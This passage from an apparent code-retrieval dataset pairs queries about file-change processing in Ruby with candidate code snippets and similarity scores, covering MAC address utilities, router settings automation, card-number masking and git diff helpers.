final\n \nend", "def tap_mac\n @sock.local_address.to_sockaddr[-6, 6]\n end", "def mac_to_ip6_suffix(mac_i)\n mac = [\n mac_i & 0x00000000FFFFFFFF,\n (mac_i & 0xFFFFFFFF00000000) >> 32\n ]\n\n mlow = mac[0]\n eui64 = [\n 4261412864 + (mlow & 0x00FFFFFF),\n ((mac[1]+512)<<16) + ((mlow & 0xFF000000)>>16) + 0x000000FF\n ]\n\n return (eui64[1] << 32) + eui64[0]\n end", "def ios_password(length = 1)\n 8226.chr('UTF-8') * length\n end", "def mac_address_given?\n if new_resource.mac_address\n raise \"new_resource.mac_address was given and is invalid\" unless valid_mac?(new_resource.mac_address)\n end\n if valid_mac?(new_resource.name)\n return \"name\" if name_and_mac_both_given_and_match?\n elsif new_resource.mac_address\n return \"mac_addr\"\n else\n return false\n end\n end", "def mac_cloning(rule_name, info)\n\n # Get to the advanced page.\n self.goto_advanced(rule_name, info)\n \n # Get to the \"MAC Cloning\" page.\n begin\n @ff.link(:text, 'MAC Cloning').click\n self.msg(rule_name, :info, 'MAC Cloning', 'Reached page \\'MAC Cloning\\'.')\n rescue\n self.msg(rule_name, :error, 'MAC Cloning', 'Did not reach \\'MAC Cloning\\' page')\n return\n end\n \n # Check the key.\n if ( info.has_key?('section') &&\n info.has_key?('subsection') ) then\n # Right,go on.\n else\n self.msg(rule_name,:error,'mac_cloning','Some key NOT found.')\n return\n end\n \n # \"Set MAC of Device\"\n if info.has_key?('Set MAC of Device')\n\n # Choose the device.\n case info['Set MAC of Device']\n \n when 'Broadband Connection (Ethernet)'\n @ff.select_list(:name,'wan_devices_to_clone').select_value(\"eth1\") \n when 'Broadband Connection (Coax)'\n @ff.select_list(:name,'wan_devices_to_clone').select_value(\"clink1\")\n else\n # error here\n self.msg(rule_name,:error,'mac_cloning','Could NOT choose the device.')\n end # end of case\n \n self.msg(rule_name,:info,'Set MAC of Device',info['Set MAC of Device'])\n \n end\n \n # \"To Physical Address\"\n if info.has_key?('To Physical Address')\n \n # Fill in the blank with the specified MAC address.\n octets = info['To Physical Address'].split(':')\n @ff.text_field(:name, 'mac0').set(octets[0])\n @ff.text_field(:name, 'mac1').set(octets[1])\n @ff.text_field(:name, 'mac2').set(octets[2])\n @ff.text_field(:name, 'mac3').set(octets[3])\n @ff.text_field(:name, 'mac4').set(octets[4])\n @ff.text_field(:name, 'mac5').set(octets[5]) \n \n self.msg(rule_name,:info,'To Physical Address',info['To Physical Address'])\n \n end \n \n # \"Clone My MAC Address\"\n if info.has_key?('Clone My MAC Address')\n \n case info['Clone My MAC Address']\n \n when 'on'\n \n # Check if there is this button.\n if @ff.text.include?'Clone My MAC Address'\n \n # Click the button \"Clone My MAC Address\"\n @ff.link(:text,'Clone My MAC Address').click\n \n end\n \n self.msg(rule_name,:info,'Clone my MAC address',info['Clone My MAC Address'])\n \n when 'off'\n # Do nothing.\n else\n # Wrong here.\n self.msg(rule_name,:error,'mac_cloning','No such value in \\'Clone My MAC Address\\'.')\n return\n \n end # end of case\n \n end\n \n # \"Restore Factory MAC Address\"\n if info.has_key?('Restore Factory MAC Address')\n \n case info['Restore Factory MAC Address']\n \n when 'on'\n \n # Check if there is this button.\n if @ff.text.include?'Restore Factory MAC Address'\n \n # Click the button \"Clone My MAC Address\"\n @ff.link(:text,'Restore Factory MAC Address').click\n \n end\n \n self.msg(rule_name,:info,'Restore Factory MAC Addresss',info['Restore Factory MAC Address']) \n \n when 'off'\n # Do nothing.\n else\n # Wrong here.\n self.msg(rule_name,:error,'mac_cloning','No such value in \\'Restore Factory MAC Address\\'.')\n return\n \n end # end of case\n \n end\n \n # \"Apply\"\n if info.has_key?('Apply')\n \n case info['Apply']\n \n when 'on'\n \n # Check if there is this button.\n if @ff.text.include?'Apply'\n \n # Click the button \"Applys\"\n @ff.link(:text,'Apply').click\n self.msg(rule_name,:info,'Apply',info['Apply'])\n \n end\n \n when 'off'\n # Do nothing.\n else\n # Wrong here.\n self.msg(rule_name,:error,'mac_cloning','No such value in \\'Apply\\'.')\n return\n \n end # end of case\n \n end \n \n end", "def tns_hexify\n self.each_byte.map do |byte|\n (HEXCHARS[(byte >> 4)] + HEXCHARS[(byte & 0xf )])\n end.join()\n end", "def presetScheme msg, scheme\n return msg.chars.each.map do |c|\n shift = scheme[c]\n shift ||= 0\n shiftChar(c, shift)\n end.join\nend", "def maskify(cc)\n if cc.length <= 4\n return cc\n else\n pound = cc.length - 4\n masked_cc = []\n pound.times do\n masked_cc << '#'\n end\n masked_cc << cc[-4..-1]\n end\n masked_cc.join.to_s\nend", "def arp_dest_mac= i; typecast \"arp_dest_mac\", i; end", "def mac_addr\n if (mac_addr = @host.at('tag[name=mac-addr]'))\n mac_addr.inner_text\n end\n end", "def x\n\t\tt =\"\"; \n\t\tself.each_byte do |a| \n\t\t\tif a == \"\\r\"[0] then\n\t\t\t\tt << \"\\\\r\"\n\t\t\telsif a == \"\\t\"[0] then\n\t\t\t\tt << \"\\\\r\"\n\t\t\telsif a == \"\\n\"[0] then\n\t\t\t\tt << \"\\\\n\"\n\t\t\telsif a == \"\\b\"[0] then\n\t\t\t\tt << \"\\\\b\"\n\t\t\telsif a > 0 && a < 32 then\n\t\t\t\tt << (\"\\\\x%2.2d\" % a)\n\t\t\telse \n\t\t\t\tt << a.chr\n\t\t\tend\n\t\tend\n\t\tt\n\t\t#return gsub(/\\r/, \"\\\\r\").gsub(/\\n/, \"\\\\n\").gsub(/\\t/, \"\\\\t\")\n\tend", "def maskify(cc)\n cc.size < 5 ? cc : cc[-4..-1].rjust(cc.size, '#')\nend", "def ad_hoc_mac_count() 4 end", "def mac_address\n mac = nil\n\n ovf.xpath(\"//*[local-name()='Machine']/*[local-name()='Hardware']/*[local-name()='Network']/*[local-name()='Adapter']\").each do |net|\n if net.attribute(\"enabled\").value == \"true\"\n mac = net.attribute(\"MACAddress\").value\n break\n end\n end\n\n if mac\n return mac\n else\n fail Errors::BoxAttributeError, error_message: 'Could not determine mac address'\n end\n end", "def code_group(unpacked_character)\n \"x%02x\" % (unpacked_character >> 8)\n end", "def ip_output_from_file\n\n ip_output = '^'\n ip_output += self.to + ' ' if ! self.to.nil? && ! self.to.empty?\n ip_output += 'via ' + self.via + ' ' if ! self.via.nil? && ! self.via.empty?\n ip_output += 'dev ' + self.device + '\\s+' if ! self.device.nil? && ! self.device.empty?\n ip_output += 'table ' + self.table + ' ' if ! self.table.nil? && ! self.table.empty?\n return ip_output\n\n end", "def makeACard( first_byte, second_byte, third_byte, name )\n\tutf_8_code = sprintf( \"%c%c%c\", first_byte, second_byte, third_byte )\n\tresult = \"\"\n\tresult = result + \"BEGIN:VCARD\\r\\n\"\n\tresult = result + \"VERSION:3.0\\r\\n\"\n\tresult = result + \"N:\"\n\tresult = result + utf_8_code\n\tresult = result + \";;;;\\r\\n\"\n\tresult = result + \"FN:\"\n\tresult = result + utf_8_code\n\tresult = result + \"\\r\\n\"\n\tresult = result + \"X-PHONETIC-LAST-NAME:かおもじ\\r\\n\"\n\tresult = result + \"END:VCARD\\r\\n\" \n\treturn result\nend", "def random_mac_addr(provider)\n symbol = provider.to_sym\n case symbol\n when :virtualbox\n PROVIDER_MAC_PREFIXES[:virtualbox] + 3.times.map { '%02x' % rand(0..255) }.join\n when :libvirt\n PROVIDER_MAC_PREFIXES[:libvirt] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware_fusion\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :vmware\n PROVIDER_MAC_PREFIXES[:vmware] + 3.times.map { '%02x' % rand(0..255) }.join\n when :parallels\n PROVIDER_MAC_PREFIXES[:parallels] + 3.times.map { '%02x' % rand(0..255) }.join\n when :hyper_v\n PROVIDER_MAC_PREFIXES[:hyper_v] + 3.times.map { '%02x' % rand(0..255) }.join\n else\n raise \"Unsupported provider #{provider}\"\n end\nend", "def maskify(cc)\n return cc.length <= 4 ? cc : ('#' * (cc.length-4)) + cc[cc.length-4..cc.length-1]\nend", "def add_spacing( seq, cs = cut_symbol )\n str = ''\n flag = false\n seq.each_byte do |c|\n c = c.chr\n if c == cs\n str += c\n flag = false\n elsif flag\n str += ' ' + c\n else\n str += c\n flag = true\n end\n end\n str\n end", "def manufacturer\n Mac.manufacturer(mac)\n end", "def generate\n blake160_bin = [blake160[2..-1]].pack(\"H*\")\n type = [\"01\"].pack(\"H*\")\n bin_idx = [\"P2PH\".each_char.map { |c| c.ord.to_s(16) }.join].pack(\"H*\")\n payload = type + bin_idx + blake160_bin\n ConvertAddress.encode(@prefix, payload)\n end", "def mac_address\n if NicView.empty_mac?(self[\"CurrentMACAddress\"])\n self[\"PermanentMACAddress\"]\n elsif self[\"PermanentMACAddress\"]\n self[\"CurrentMACAddress\"]\n end\n end", "def has_openstack_mac?\n !!(Facter.value(:macaddress) =~ %r{^02:16:3[eE]})\n end" ]
[ "0.7778385", "0.73509413", "0.72822905", "0.71738076", "0.71738076", "0.7153903", "0.69857556", "0.6722365", "0.66648304", "0.663449", "0.66152847", "0.6595729", "0.6547691", "0.6456913", "0.64124453", "0.63444495", "0.6263917", "0.6251644", "0.62483156", "0.622557", "0.6213041", "0.60962933", "0.6067751", "0.605111", "0.6050403", "0.6000074", "0.5992744", "0.5983759", "0.5963954", "0.59614825", "0.595862", "0.590693", "0.5889127", "0.58781236", "0.5860702", "0.5848842", "0.5848842", "0.58057725", "0.58057725", "0.57792634", "0.575615", "0.5729624", "0.5721404", "0.5720545", "0.57044023", "0.5687428", "0.567814", "0.56615156", "0.5646475", "0.56402", "0.5614079", "0.5609333", "0.56054324", "0.5579692", "0.55794007", "0.5568727", "0.55668026", "0.5547435", "0.5547435", "0.5538237", "0.5535077", "0.5529283", "0.55241615", "0.55009335", "0.54949886", "0.5482419", "0.5467095", "0.54277414", "0.542619", "0.5423944", "0.5423273", "0.54222095", "0.5415963", "0.5407495", "0.5397626", "0.5394598", "0.53896326", "0.5389247", "0.5383181", "0.5370751", "0.5346689", "0.53295124", "0.5326704", "0.5316475", "0.5314429", "0.52651554", "0.52646327", "0.52471673", "0.5243572", "0.5242729", "0.52386326", "0.5233947", "0.52248293", "0.52244717", "0.52161956", "0.52005327", "0.5175281", "0.5166754", "0.5165636", "0.5163114" ]
0.6767511
7
Returns array with operations for all primary files
def process_all_primary_files # NOTE: I investigated concurrent processing of files # to speed up this process, however I didn't pursue it # further: This process is highly CPU intensive, so the # only way to get a significant speedup is to use # multiple CPUs/Cores. In MRI this is only possible # with multiple processes. I didn't want to go through # the trouble of IPC to collect all files' operations. # It would be easier if we could use threads, however # that would require jruby or rbx. So I'm sticking with # sequential processing for now. Dir.glob( File.join(@repository.base_dir, '**/content/**/*.at') ).map { |absolute_file_path| next nil if !@file_list.any? { |e| absolute_file_path.index(e) } # Skip non content_at files unless absolute_file_path =~ /\/content\/.+\d{4}\.at\z/ raise "shouldn't get here" end # Note: @any_content_type may be the wrong one, however finding # corresponding STM CSV file will still work as it doesn't rely # on config but das regex replacements on file path only. content_at_file_to = Repositext::RFile::ContentAt.new( File.read(absolute_file_path), @language, absolute_file_path, @any_content_type ) @logger.info(" - process #{ content_at_file_to.repo_relative_path(true) }") soff = SubtitleOperationsForFile.new( content_at_file_to, @repository.base_dir, { from_git_commit: @from_git_commit, to_git_commit: @to_git_commit, prev_last_operation_id: @prev_last_operation_id, execution_context: @execution_context, } ).compute if soff.operations.any? @prev_last_operation_id = soff.last_operation_id soff else # Return nil if no subtitle operations exist for this file nil end }.compact end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def all_files; end", "def all_files; end", "def list\n FileOperations.find_all(self)\n end", "def all\n @files\n end", "def files\n @files ||= lambda {\n sorted_relevant_files = []\n\n file_globs.each do |glob|\n current_glob_files = Pathname.glob(glob)\n relevant_glob_files = relevant_files & current_glob_files\n\n relevant_glob_files.map! do |file|\n File.new(path: file,\n namespaces: namespaces,\n decryption_keys: decryption_keys,\n encryption_keys: encryption_keys,\n signature_name: signature_name)\n end\n\n sorted_relevant_files += relevant_glob_files\n end\n\n sorted_relevant_files.uniq\n }.call\n end", "def project_code_arrays\n [:controller_files, :model_files, :view_files, :lib_files]\n end", "def file_list\n end", "def process_primary_files_with_changes_only\n # We get the diff only so that we know which files have changed.\n # It's ok to use the reference commits because we're dealing with\n # content AT files only.\n diff = @repository.diff(@from_git_commit, @to_git_commit, context_lines: 0)\n fwc = []\n diff.patches.each { |patch|\n file_name = patch.delta.old_file[:path]\n # Skip non content_at files\n next if !@file_list.include?(file_name)\n # next if !file_name.index('63-0728')\n unless file_name =~ /\\/content\\/.+\\d{4}\\.at\\z/\n raise \"shouldn't get here: #{ file_name.inspect }\"\n end\n\n @logger.info(\" - process #{ file_name }\")\n\n absolute_file_path = File.join(@repository.base_dir, file_name)\n # Initialize content AT file `to` with contents as of `to_git_commit`.\n # It's fine to use the reference sync commit as the sync operation\n # doesn't touch content AT files, only STM CSV ones.\n content_at_file_to = Repositext::RFile::ContentAt.new(\n '_', # Contents are initialized later via `#as_of_git_commit`\n @language,\n absolute_file_path,\n @any_content_type\n ).as_of_git_commit(@to_git_commit)\n\n compute_st_ops_attrs = {\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n prev_last_operation_id: @prev_last_operation_id,\n execution_context: @execution_context,\n }\n\n compute_st_ops_attrs = refine_compute_st_ops_attrs(\n compute_st_ops_attrs,\n {\n from_table_release_version: @from_table_release_version,\n to_table_release_version: @to_table_release_version,\n absolute_file_path: absolute_file_path\n }\n )\n soff = SubtitleOperationsForFile.new(\n content_at_file_to,\n @repository.base_dir,\n compute_st_ops_attrs\n ).compute\n\n if soff.operations.any?\n # Only collect files that have subtitle operations\n @prev_last_operation_id = soff.last_operation_id\n fwc << soff\n end\n }\n\n # Then we add any files that have st_sync_required set to true and are\n # not in fwc already.\n @file_list.each { |content_at_filename|\n # Skip files that we have captured already\n next if fwc.any? { |soff| soff.content_at_file.repo_relative_path == content_at_filename }\n # Skip files that don't have st_sync_required set to true at to_git_commit\n dj_filename = content_at_filename.sub(/\\.at\\z/, '.data.json')\n # We use dj file contents at to_git_commit :at_child_or_ref\n dj_file = Repositext::RFile::DataJson.new(\n '_', # Contents are initialized later via #as_of_git_commit\n @language,\n dj_filename,\n @any_content_type\n ).as_of_git_commit(\n @to_git_commit,\n :at_child_or_ref\n )\n next if(dj_file.nil? || !dj_file.read_data['st_sync_required'])\n # This file is not in the list of fwc yet, and it has st_sync_required.\n # We add an soff instance with no operations. This could be a file\n # that has changes to subtitle timeslices only.\n content_at_file_from = Repositext::RFile::ContentAt.new(\n '_', # Contents are initialized later via `#as_of_git_commit`\n @language,\n content_at_filename,\n @any_content_type\n ).as_of_git_commit(@from_git_commit)\n soff = Repositext::Subtitle::OperationsForFile.new(\n content_at_file_from,\n {\n file_path: content_at_file_from.repo_relative_path,\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n },\n [] # No operations\n )\n fwc << soff\n }\n # Return list of unique files with changes\n fwc.uniq\n end", "def files\n @files ||= FILE_RANGE.map(&:to_sym)\n end", "def files\n array = []\n @list.each do |k,v|\n array += v.filename\n end\n array\n end", "def files\n file_sets.map(&:original_file)\n end", "def working_files\n files.map {|f| working_file f}\n end", "def files\n entries.map{ |f| FileObject[path, f] }\n end", "def files; end", "def files; end", "def files; end", "def files; end", "def files; end", "def files; end", "def path_array\n a = []\n each_filename { |ea| a << ea }\n a\n end", "def files() = files_path.glob('**/*')", "def files\n result = []\n @my_files.each do |f|\n result << f.fname if FileTest.file?(f.fname)\n end\n result\n end", "def files\n file_sets.map{|fs| fs.files }.flatten\n end", "def files\n @files.values\n end", "def all_files() = path.glob('**/*').select(&:file?).map(&:to_s)", "def files\n return get_result('files')\n end", "def files\n entries.map(&:filepath)\n end", "def all_files\n @files_hash.values\n end", "def main_files\n retrieve_files_in_main_dir\n end", "def files\n FileList.new(`#@native.files`)\n end", "def procedures\n Array.new([\n databases, archives, lambda { package! }, compressors,\n encryptors, lambda { split! }, storages\n ])\n end", "def selected_files\n a = Array.new\n selected_iters do |iter|\n a.push(@current_dir+iter[LS_Name])\n end\n return a\n end", "def files\n ext_files = mapper.extracted_files || []\n ext_files + [mapper.zip.name.to_s]\n end", "def all_files\n @all_files ||= load_files\n end", "def otm_all_temp_files\n return_this = []\n self.otm_execute_command_names.each do |command_name|\n command = OracleToMysql.get_and_bind_command(command_name, self)\n return_this += command.temp_file_symbols.map {|sym| self.otm_get_file_name_for(sym)}\n end\n return_this.uniq\n end", "def otm_all_temp_files\n return_this = []\n self.otm_execute_command_names.each do |command_name|\n command = OracleToMysql.get_and_bind_command(command_name, self)\n return_this += command.temp_file_symbols.map {|sym| self.otm_get_file_name_for(sym)}\n end\n return_this.uniq\n end", "def get_the_individual_file_to_be_processed\n # p \"individual file selection\"\n files = GetFiles.get_all_of_the_filenames(@project.freecen_files_directory, @project.file_range)\n files\n end", "def to_a\n @file_list.map{ |file| Pathname.new(file) }\n end", "def retrieve_files_in_main_dir\n ensure_file_open!\n @file.glob('*').map do |entry|\n next if entry.directory?\n\n entry_file_name = Pathname.new(entry.name)\n [entry_file_name, entry.get_input_stream(&:read)]\n end.compact.to_h\n end", "def sequential_files\n get_files_in_dir(@sequential_dir)\n end", "def files\n @file_ids.collect { |idx| BFile.store[idx] }\n end", "def file_list\n @file_list\n end", "def list\n @file_list.to_a\n end", "def files\n @files ||= []\n end", "def files\n ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h']\n end", "def new_files(recursive=false)\n newfiles = Array.new\n list(recursive).each do |file|\n newfiles << file if !stored?(file) \n end\n return newfiles\n end", "def Files\n deep_copy(@tomerge)\n end", "def files\n @exported_pr_dir ? Dir.glob(@exported_pr_dir) : []\n end", "def files; changeset.all_files; end", "def files\n return [] unless meta?\n filename = meta['path'] + '/' + meta['filename']\n [\n Inch::Utils::CodeLocation.new('', filename, meta['lineno'])\n ]\n end", "def operation_names\n Array.new\n end", "def altered_files; (modified + added + removed).sort; end", "def all_data_files(path)\n each_data_file(path).to_a\n end", "def files\n return @files\n end", "def files\n @files ||= full_files.map {|file| relative(file) }\n end", "def all_files\n parse!\n @all_files\n end", "def files\n real_path = self.path[2...-1] + \"s/*\"#trim './' and add 's/*' \n \n Dir[real_path].map{|file| file.split(\"/\")[-1]} \n end", "def all_files\n @all_files ||= `git ls-files 2> /dev/null`.split(\"\\n\")\n end", "def iterate_over_file_paths\n parsed_file.each do |hit|\n file_path_array << hit[0]\n end\n file_path_array\n end", "def ls\n @files.each_with_index.map do |file, i|\n { file: (@path.nil? ? file.path : file.path.relative_path_from(@path)).to_s, selected: @selected_files.include?(file) }\n end\n end", "def files=(_arg0); end", "def grouped(files); end", "def cluster_ordinations_files\n clustering_files.to_a\n end", "def instantiated_files\n # indexed_cert_cnf_files is doubly indexed, first by componnet instance and then by template index\n indexed_cert_cnf_files.values.map { |hash| hash.values }.flatten\n end", "def target_files\n files.map {|f| target_file f}\n end", "def operations\n return @operations\n end", "def operations\n return @operations\n end", "def operations\n return @operations\n end", "def operations\n return @operations\n end", "def operations\n return @operations\n end", "def files_array(files)\n return [] unless files\n files.is_a?(Array) ? files : pattern_to_filelist(files.to_s)\n end", "def process_files files=[]\n files.each do |file|\n process_file file\n end\n end", "def files\n info[\"Files\"].to_a\n end", "def _build_file_index(services)\n services.flat_map do |service|\n service.gemspec.files.map { |f| ::File.expand_path(f, service.path) }\n end\n end", "def files\n file = Dir[self.path + \"/*\"]\n file.each do |file_name|\n file_name.slice!(self.path + \"/\")\n end\n file\n end", "def all_files_with_access\n return [] unless id.present?\n member_file_set_title_ids.sort { |x,y| x[0].upcase <=> y[0].upcase }\n end", "def to_a()\n array = @basenameList.map{|basename|\n @analyzerTable[basename] ;\n }\n return array ;\n end", "def [] file\n code = `xattr -p com.apple.FinderInfo #{file.shellescape} 2>&1`.split(/\\s+/m)\n if code.size == 32\n code\n else\n ['00']*32\n end\n end", "def get_files\n\tnames = Array.new\n\n\tDir.glob(\"*.xls\").each do |f| \n\t\tnames << f\n\tend\n\n\treturn names\nend", "def operations\n @operations\n end", "def files\n @@files_array = Dir.entries(self.path).select {|f| !File.directory? f}\n end", "def manifested_files\n\n manifest_files.inject([]) do |acc, mf|\n\n files = open(mf) do |io|\n\n io.readlines.map do |line|\n digest, path = line.chomp.split /\\s+/, 2\n path\n end\n\n end\n\n (acc + files).uniq\n end\n\n end", "def expression_matrix_files\n expression_matrices.to_a\n end", "def files(prefix = '')\n full_list = []\n\n directory.files.all(:prefix => prefix).each do |file|\n full_list.push(\n File.new(file.identity,\n :content_type => file.content_type,\n :stored_in => [self],\n :last_update_ts => file.last_modified\n )\n )\n end\n\n full_list\n end", "def entry_files\n @entry_files = base_files @entry_path\n end", "def enumerate_scripts\n Dir.glob(\"**/*\").\n reject { |f| File.directory?(f) }.\n select { |f| File.extname(f) == \".rb\" }.\n map do |filename|\n stat = File.stat(filename)\n\n OpenStruct.new(\n id: SecureRandom.uuid,\n path: filename,\n absolute_path: File.expand_path(filename),\n virtual_url: \"#{ROOT_URL}/#{filename}\",\n size: stat.size,\n last_modified_time: stat.mtime\n )\n end\n end", "def extract_all\n files.each do |file|\n extract file\n end\n end", "def files(id)\n criteria = {:type_ids => [Runcible::Extensions::File.content_type]}\n unit_search(id, criteria).map { |i| i['metadata'].with_indifferent_access }\n end", "def all_cache_files\n cache_incompletes + cache_completes\n end", "def monolithic_files\n get_files_in_dir(@monolithic_dir)\n end", "def operations\n @operations.dup\n end", "def operations\n @operations.dup\n end", "def all_files\n raise NotImplementedError.new(\"all_files() must be implemented by subclasses of AbstractChangeset.\")\n end", "def read(files); end", "def read(files); end", "def unprocessed_files\n Dir.glob(@data_location + '/*.jl').sort\n end", "def files\n if @array_of_ltfsfiles.empty? then parse(@filedata) else @array_of_ltfsfiles end\n end", "def expanded_file_list\n test_files = Rake::FileList[pattern].compact\n test_files += @test_files.to_a if @test_files\n test_files\n end", "def files_for_rotation\n files = Set.new\n Padrino.dependency_paths.each do |path|\n files += Dir.glob(path)\n end\n reloadable_apps.each do |app|\n files << app.app_file\n files += Dir.glob(app.app_obj.prerequisites)\n files += app.app_obj.dependencies\n end\n files + special_files\n end", "def idl_files\n @idl_files\n end" ]
[ "0.63085407", "0.63085407", "0.6231007", "0.6196732", "0.60957783", "0.598398", "0.59547937", "0.5941569", "0.59392786", "0.59241617", "0.5902776", "0.58879477", "0.58641565", "0.5861816", "0.5861816", "0.5861816", "0.5861816", "0.5861816", "0.5861816", "0.58611584", "0.5855458", "0.5841677", "0.58330107", "0.5825975", "0.58199567", "0.58087707", "0.5805689", "0.57779497", "0.5743834", "0.5743289", "0.5743155", "0.57418483", "0.5727696", "0.57040066", "0.56994945", "0.56994945", "0.5684586", "0.5683317", "0.56749254", "0.5663531", "0.56613475", "0.5657722", "0.5638742", "0.56270975", "0.5621973", "0.56212205", "0.5618611", "0.5609781", "0.56070673", "0.5592241", "0.55768687", "0.55684924", "0.55656344", "0.5561564", "0.555546", "0.5544336", "0.5528219", "0.552643", "0.5517271", "0.5515211", "0.5509717", "0.5498397", "0.5487405", "0.54857874", "0.5484635", "0.5484404", "0.5484404", "0.5484404", "0.5484404", "0.5484404", "0.54744154", "0.5468646", "0.5456731", "0.5450747", "0.54456764", "0.5441558", "0.5433868", "0.5428728", "0.5423008", "0.5419154", "0.5417698", "0.54131514", "0.53996474", "0.5396404", "0.5376387", "0.5375522", "0.53725827", "0.5370751", "0.53703046", "0.5370193", "0.53665155", "0.53665155", "0.5359595", "0.53568083", "0.53568083", "0.53541446", "0.53510326", "0.5349377", "0.53382283", "0.5336425" ]
0.6628282
0
Returns array with operations for primary files that have changed. We determine change through the union of the following two: Any files where there is a diff in the content AT file. Any files that have the `st_sync_required` flag set to true (because of changes to time slices in STM CSV file).
def process_primary_files_with_changes_only # We get the diff only so that we know which files have changed. # It's ok to use the reference commits because we're dealing with # content AT files only. diff = @repository.diff(@from_git_commit, @to_git_commit, context_lines: 0) fwc = [] diff.patches.each { |patch| file_name = patch.delta.old_file[:path] # Skip non content_at files next if !@file_list.include?(file_name) # next if !file_name.index('63-0728') unless file_name =~ /\/content\/.+\d{4}\.at\z/ raise "shouldn't get here: #{ file_name.inspect }" end @logger.info(" - process #{ file_name }") absolute_file_path = File.join(@repository.base_dir, file_name) # Initialize content AT file `to` with contents as of `to_git_commit`. # It's fine to use the reference sync commit as the sync operation # doesn't touch content AT files, only STM CSV ones. content_at_file_to = Repositext::RFile::ContentAt.new( '_', # Contents are initialized later via `#as_of_git_commit` @language, absolute_file_path, @any_content_type ).as_of_git_commit(@to_git_commit) compute_st_ops_attrs = { from_git_commit: @from_git_commit, to_git_commit: @to_git_commit, prev_last_operation_id: @prev_last_operation_id, execution_context: @execution_context, } compute_st_ops_attrs = refine_compute_st_ops_attrs( compute_st_ops_attrs, { from_table_release_version: @from_table_release_version, to_table_release_version: @to_table_release_version, absolute_file_path: absolute_file_path } ) soff = SubtitleOperationsForFile.new( content_at_file_to, @repository.base_dir, compute_st_ops_attrs ).compute if soff.operations.any? # Only collect files that have subtitle operations @prev_last_operation_id = soff.last_operation_id fwc << soff end } # Then we add any files that have st_sync_required set to true and are # not in fwc already. @file_list.each { |content_at_filename| # Skip files that we have captured already next if fwc.any? { |soff| soff.content_at_file.repo_relative_path == content_at_filename } # Skip files that don't have st_sync_required set to true at to_git_commit dj_filename = content_at_filename.sub(/\.at\z/, '.data.json') # We use dj file contents at to_git_commit :at_child_or_ref dj_file = Repositext::RFile::DataJson.new( '_', # Contents are initialized later via #as_of_git_commit @language, dj_filename, @any_content_type ).as_of_git_commit( @to_git_commit, :at_child_or_ref ) next if(dj_file.nil? || !dj_file.read_data['st_sync_required']) # This file is not in the list of fwc yet, and it has st_sync_required. # We add an soff instance with no operations. This could be a file # that has changes to subtitle timeslices only. content_at_file_from = Repositext::RFile::ContentAt.new( '_', # Contents are initialized later via `#as_of_git_commit` @language, content_at_filename, @any_content_type ).as_of_git_commit(@from_git_commit) soff = Repositext::Subtitle::OperationsForFile.new( content_at_file_from, { file_path: content_at_file_from.repo_relative_path, from_git_commit: @from_git_commit, to_git_commit: @to_git_commit, }, [] # No operations ) fwc << soff } # Return list of unique files with changes fwc.uniq end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def altered_files; (modified + added + removed).sort; end", "def changed_files\n # FIXME: Implement properly once changed detection is available.\n files\n end", "def changed_files\n DeliveryTruck::Helpers.changed_files(\n DeliveryTruck::Helpers.pre_change_sha(node),\n node['delivery']['change']['sha'],\n node\n )\n end", "def currently_changed_files\n `git status --porcelain`.split(\"\\n\").map{ |file| file.split.last }\n end", "def modified_files\n `git diff --cached --name-only --diff-filter=ACM --ignore-submodules=all`.split \"\\n\"\n end", "def files_changed_as_set(files)\n changed_files = files.select { |file| git.modified_files.include? file }\n not_changed_files = files.select { |file| !changed_files.include? file }\n all_files_changed = not_changed_files.empty?\n no_files_changed = changed_files.empty?\n return all_files_changed || no_files_changed\nend", "def all_changed_files\n Set.new\n .merge(git.added_files.to_a)\n .merge(git.modified_files.to_a)\n .merge(git.renamed_files.map { |x| x[:after] })\n .subtract(git.renamed_files.map { |x| x[:before] })\n .to_a\n .sort\n end", "def modified_files\n remote_details = @container.list_objects_info\n same_files.reject do |file|\n (remote_details[file][:last_modified] <=> File.mtime(CloudfileAsset::Local.make_absolute(file))) == 1\n end\n end", "def modified_files\n staged = squash?\n refs = 'HEAD^ HEAD' if merge_commit?\n @modified_files ||= Overcommit::GitRepo.modified_files(staged: staged, refs: refs)\n end", "def uncommitted_files\n files = nil\n p4 (['change','-o']).each do |line|\n files << line.strip if files\n files = [] if line.start_with?('Files:')\n end\n files ||= []\n end", "def compute_changed_and_risk_files(params)\n commit_hash, file_arr = commit_info(params)\n changed_file_freq = file_arr.flatten!.each_with_object(Hash.new(0)) {|file, freq_acc| freq_acc[file] += 1}\n changed_g2_files = []\n changed_file_freq.select {|file, freq| changed_g2_files << file if freq > 2}\n risk_files = changed_g2_files.dup\n rf = risk_files.each_with_object({}) do |file, acc|\n author_set = Set.new\n commit_hash.each do |file_arr, author|\n acc[file] = (author_set << author ) if file_arr.include? (file)\n end\n end\n rf.delete_if {|_file, author_arr| author_arr.length < 2}\n {\n \"changed_files\" => changed_g2_files,\n \"risk_files\" => rf\n }\n end", "def arrayOfChanges\n #we could also use Ruby/Git here, but that feels like an overkill right #now.\n gitChanges = `git diff #{@args[:taskpaper_file]} | grep '^\\+' | grep -i '\\@done'`\n return gitChanges.split(\"\\n\").collect{ |line| Task.new(line.gsub(/^\\+\\ ?/, \"\"))}\n end", "def get_files_modified\r\n\tgit_result = IO.popen('git status -u --porcelain').read\r\n\tgit_result.split(/[\\r\\n]+/).uniq.map!{|file| file.slice 3..-1}\r\nend", "def modified_files\n @modified_files ||= begin\n @modified_files = []\n\n rewritten_commits.each do |rewritten_commit|\n refs = \"#{rewritten_commit.old_hash} #{rewritten_commit.new_hash}\"\n @modified_files |= Overcommit::GitRepo.modified_files(refs: refs)\n end\n\n filter_modified_files(@modified_files)\n end\n end", "def altered_files; raw_changeset.files; end", "def modified_files(options)\n flags = '--cached' if options[:staged]\n refs = options[:refs]\n subcmd = options[:subcmd] || 'diff'\n\n `git #{subcmd} --name-only -z --diff-filter=ACMR --ignore-submodules=all #{flags} #{refs}`.\n split(\"\\0\").\n map(&:strip).\n reject(&:empty?).\n map { |relative_file| File.expand_path(relative_file) }\n end", "def changed_files(parent_sha, change_sha, node)\n response = shell_out!(\n \"git diff --name-only #{parent_sha} #{change_sha}\",\n :cwd => 